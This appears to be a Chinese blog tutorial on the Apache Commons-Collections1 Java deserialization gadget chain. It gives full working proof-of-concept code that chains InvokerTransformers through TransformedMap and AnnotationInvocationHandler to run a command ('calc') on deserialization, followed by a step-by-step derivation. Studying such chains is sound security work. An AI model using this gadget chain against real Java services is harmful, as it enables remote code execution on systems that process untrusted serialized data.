Commons-Collections1
cc链的第一条,准备记录的详细一点
测试代码
还是和之前一样,先给出完整代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
| import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap;
import java.io.*; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationTargetException; import java.util.HashMap; import java.util.Map;
public class CC1TestFinal { public static void main(String[] args) throws IOException, InvocationTargetException, IllegalAccessException, NoSuchMethodException, ClassNotFoundException, InstantiationException {
Transformer[] transformer = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);
Map map = new HashMap(); map.put("value","fuck"); Map transformedMap = TransformedMap.decorate(map,null,chainedTransformer);
Class annotationinvocationhandlerclass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor annotationInvocationhdlConstructor = annotationinvocationhandlerclass.getDeclaredConstructor(Class.class,Map.class); annotationInvocationhdlConstructor.setAccessible(true); Object o = annotationInvocationhdlConstructor.newInstance(Target.class,transformedMap); serialize(o); unserialize("ser.bin"); } public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); System.out.println(); }
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }
|
分析
这条链最后执行任意方法的点就是InvokerTransformer类的transform方法

大概就是接收一个输入,不为空就获取它的Class,然后获取这个类的某一个方法,然后反射调用这个方法

这里看到InvokerTransformer的构造方法,这里的methodName感觉是可控的,所以用这个方法去调用Runtime.getRuntime().exec(),先写一个命令执行的形式
1
| Runtime.getRuntime().exec("calc");
|
然后利用反射的形式实现
1 2 3 4
| Runtime r = Runtime.getRuntime(); Class c = Runtime.class; Method execMethod = c.getMethod("exec", String.class); execMethod.invoke(r,"calc");
|
因为Runtime这个类不能被序列化,所以上面的代码就用Class起手实现
1 2 3 4 5
| Class runtimeClass = Runtime.class; Method getRuntimeMethod = runtimeClass.getMethod("getRuntime"); Runtime r = (Runtime) getRuntimeMethod.invoke(null,null); Method execMethod = runtimeClass.getMethod("exec", String.class); execMethod.invoke(r,"calc");
|
回到cc1这里,改用InvokerTransformer实现
1 2 3 4
| Class runtimeClass = Runtime.class; Method getRuntimeMethod =(Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(runtimeClass); Runtime runtime =(Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod); new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(runtime);
|
这里等于是重复调用了transform方法,在ChainedTransformer这个类中有一个构造方法和函数,可以实现链式调用

把上面再改写成ChainedTransformer的形式
1 2 3 4 5 6 7
| Transformer[] transformer = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);
|
然后就是细说一下这里面的东西,看一下,这里transform获取了input的Class类,正好对应上了Runtime类,然后iMethodName理想状况下应该是getRuntime

可以看到getRuntime是一个无参数的方法,所以这里iArgs应该是为null

第一句Class runtimeClass = Runtime.class;是获取Runtime的Class类

然后根据InvokerTransformernew一个对象,第一个参数是方法名,第二个数组参数是参数类型,第三个数组参数是方法参数,这里因为传的是Class类型,所以第一步需要获取getMethod方法,对应的第一个参数就是getMethod
用getMethod的目的是调用getRuntime,而getMethod的第一个参数是String类型,第二个参数是null,所以第二个参数就是new Class[]{String.class,Class[].class}然后调用transform得到Method类型的对象getRuntimeMethod
剩下两次的new InvokerTransformer同理
构造好这部分之后先放着不动,接下来找一下都有哪些类调用了transform方法

这里找到了TransformedMap类的checkSetValue方法

继续找调用checkSetValue的地方,找到了AbstractInputCheckedMapDecorator类的setValue方法

继续找调用setValue的地方,在AnnotationInvocationHandler类中,正好readObject方法调用到了setValue

整条连倒着推过来大概就是这样

然后就是写TransformedMap的部分

这个类中的decorate方法会返回一个TransformedMap的实例,并且它的三个参数是我们可以控制的,而valueTransformer调用了transform方法,也就是说只要让valueTransformer参数是chainedTransformer就可以触发
这里new一个Map对象,然后设置一个键值对,至于为什么是这两个值,后面再讨论
1 2 3
| Map map = new HashMap(); map.put("value","fuck"); Map transformedMap = TransformedMap.decorate(map,null,chainedTransformer)
|
入口类调用了checkSetValue,接下来写这一部分

根据英文的意思,annotationType就是注解类型,常见的就是Override、Target……,这里代码大致的意思是获取注解的成员变量,为什么用Target,因为它的成员变量不为空,代码后边会根据Map的key查找注解类型是否存在key成员变量,所以put的时候key值要设置成Target的成员变量value


最后就是完善这一部分
1 2 3 4
| Class annotationinvocationhandlerclass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor annotationInvocationhdlConstructor = annotationinvocationhandlerclass.getDeclaredConstructor(Class.class,Map.class); annotationInvocationhdlConstructor.setAccessible(true); Object o = annotationInvocationhdlConstructor.newInstance(Target.class,transformedMap);
|
这条链就结束了
参考链接
https://www.bilibili.com/video/BV1no4y1U7E1/?spm_id_from=333.1007.top_right_bar_window_default_collection.content.click&vd_source=0e561107bf71895281374fc0b905ae17